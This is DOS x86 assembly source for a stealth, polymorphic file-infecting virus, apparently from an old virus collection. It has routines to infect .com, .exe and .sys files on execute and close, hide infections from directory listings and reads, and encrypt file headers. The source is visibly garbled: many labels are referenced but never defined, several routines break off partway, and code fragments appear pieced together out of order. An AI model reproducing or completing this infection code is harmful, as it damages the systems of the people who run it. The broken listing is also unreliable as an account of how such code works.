;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_get_date:
;Get regs values on function entry
call pop_all
activate_now:
;Reset hd
xor ax,ax
int 13h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Directory stealth with functions 11h and 12h (fcb) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ff_fcb:
;Call dos function
call pop_all
call dos_call
;Get DTA
mov ah,2Fh
call dos_call
pop ax
inc al
jnz fcb_ok
add bx,07h
fcb_ok:
;Check if infected
mov ax,word ptr es:[bx+17h]
and al,1Fh
cmp al,1Fh
jne nofound_fcb
;Restore seconds
and byte ptr es:[bx+17h],0E0h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Search stealth with functions 4Eh and 4Fh (handle) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
ff_handle:
;Call dos function
call pop_all
call dos_call
jnc ffhok
;Get DTA
mov ah,2Fh
call dos_call
;Check if infected
mov ax,word ptr es:[bx+16h]
and al,1Fh
cmp al,1Fh
jne nofound_handle
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( load program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_load_exec:
;Open file for read-only
mov ax,3D00h
call dos_call
jnc loaded
jmp m21h_exit
loaded:
xchg bx,ax
jmp do_disinfect
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Write to file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_write:
call pop_all
call push_all
do_disinfect:
;Get sft address in es:di
call get_sft
jc bad_operation
;Decrypt header
call decrypt_header
;Truncate file
call seek_end
sub word ptr es:[di+15h],inf_byte_size
sbb word ptr es:[di+17h],0000h
xor cx,cx
mov ah,40h
call dos_call
exit_disin:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
;Close file
mov ah,3Eh
call dos_call
not_load:
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_get_time:
;Call function
call pop_all
call dos_call
jnc ok_get_time
;Exit if error
call unhook_ints
stc
retf 02h
ok_get_time:
;Save result
call push_all
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_set_time:
;Get function parameters
call pop_all
call push_all
;Get address of sft entry
call get_sft
jc no_set_time
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Open file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_open:
;Call dos function
call pop_all
call dos_call
jnc do_open_file
;Exit if error
call unhook_ints
stc
retf 02h
do_open_file:
;Save result
call push_all
;Close file
mov ah,3Eh
call dos_call
check_open_infection:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Read file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_read:
;Restore function entry regs
call pop_all
call push_all
;Duplicate handle
mov ah,45h
call dos_call
jc no_read_stealth
xchg bx,ax
push ax
no_read_stealth:
;Exit if no read stealth
jmp m21h_exit
check_read:
;Restore regs and get file sft
call push_all
call get_sft
;Decrypt header
call decrypt_header
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Terminate program ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_terminate_prog:
push cs
pop ds
mov dx,offset execute_filename
jmp infect_file_ds_dx
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( execute program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_exec:
;Restore function entry regs
call pop_all
call push_all
found_end_string:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Find end of command parameter string ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
find_end_string:
;Get address of command parameter string
lds si,dword ptr es:[bx+02h]
mov di,si
;Check if no parameters
lodsb
or al,al
jnz no_zero_param
inc si
clc
ret
no_zero_param:
;Find end of command parameter string
mov cx,007Fh
search_carriage_ret:
lodsb
cmp al,0Dh
jne try_next_char
clc
ret
try_next_char:
loop search_carriage_ret
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file ( ds:dx ptr to filename ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
infect_file_ds_dx:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file on close ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_close:
;Get function parameters
call pop_all
call push_all
;Duplicate handle
mov ah,45h
call dos_call
jc file_error
xchg bx,ax
push ax
;Next character
inc si
loop name_loop
;Close file
mov ah,3Eh
call dos_call
no_close_file:
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .sys files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inf_sys:
;Don't infect too big .sys files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf
;Store virus entry point ( file size ) over strategy routine address
mov word ptr cs:[si+06h],ax
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .com files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inf_com:
;Don't infect too big .com files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .exe files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
inf_exe:
;Make a copy of .exe file header
call copy_header
;Aligment
and dx,0FFFEh
mov word ptr cs:[si+10h],dx
;Restore size
pop dx
pop ax
;Resave size
push ax
push dx
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Encryption and infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_control:
;Reserve memory for poly engine buffer
call memory_allocation
jc no_good_memory
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Memory allocation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
memory_allocation:
;Save regs
call push_all
;Allocate memory
mov ah,48h
mov bx,inf_para_size
call dos_call
jc error_mem_alloc
;Check segment
cmp word ptr cs:[poly_working_seg],0000h
je exit_mem_error
;Restore regs
call pop_all
clc
ret
exit_mem_error:
;Restore regs
call pop_all
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Free previous allocated memory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
free_memory:
call push_all
free_try_again:
mov ah,49h
mov es,word ptr cs:[poly_working_seg]
call dos_call
jc free_try_again
call pop_all
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get random number from our rnd buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_rnd:
push si
push ds
push cs
pop ds
mov ax,word ptr cs:[rnd_pointer][bp]
mov si,ax
sub ax,bp
cmp ax,decryptor-04h
jbe into_random_data
mov si,bp
into_random_data:
cld
lodsw
mov word ptr cs:[rnd_pointer][bp],si
pop ds
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Timer based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
random_number:
push cx
in ax,40h
mov cl,al
xor al,ah
xor ah,cl
xor ax,0FFFFh
org $-02h
randomize:
dw 0000h
mov word ptr cs:[randomize][bp],ax
pop cx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
rand_16:
call get_rnd
mov bl,al
call get_rnd
mov ah,bl
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random number betwin 0 and ax ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
rand_in_range:
;Remainder in dx
xchg ax,dx
pop dx
pop bx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Return the al vector in es:bx ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_int:
push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set al interrupt vector to ds:dx pointer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
set_int:
push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get sft address in es:di ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_sft:
;File handle in bx
push bx
error_sft:
;Exit with error
pop bx
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to end of file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
seek_end:
call get_sft
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov word ptr es:[di+17h],dx
mov word ptr es:[di+15h],ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to begin ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
seek_begin:
call get_sft
xor ax,ax
mov word ptr es:[di+17h],ax
mov word ptr es:[di+15h],ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus critical error interrupt handler ( int 24h ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
my_int24h:
sti
;Return error in function
mov al,03h
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Save all registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
push_all:
cli
pop word ptr cs:[ret_off]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_off]
sti
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Restore all registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
pop_all:
cli
pop word ptr cs:[ret_off]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_off]
sti
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Unhook int 24h and clear dos infection switch ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
unhook_ints:
push ds
push dx
push ax
pop ax
pop dx
pop ds
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform a call to dos function ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
dos_call:
pushf
call dword ptr cs:[org21h]
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get position of code inserted into boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
get_position:
push cx
;Get displacement
mov cx,word ptr es:[bx+01h]
mov al,byte ptr es:[bx]
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
copy_header:
;Copy header to buffer
push si
push di
push cx
push cs
pop es
mov si,offset file_buffer
mov di,offset old_header
mov cx,file_header_size
cld
rep movsb
pop cx
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-
decrypt_header:
mov cx,file_header_size
push dx
pop si
mov al,byte ptr cs:[si+file_header_size]
restore_header:
sub byte ptr cs:[si+00h],al
inc si
loop restore_header
ret
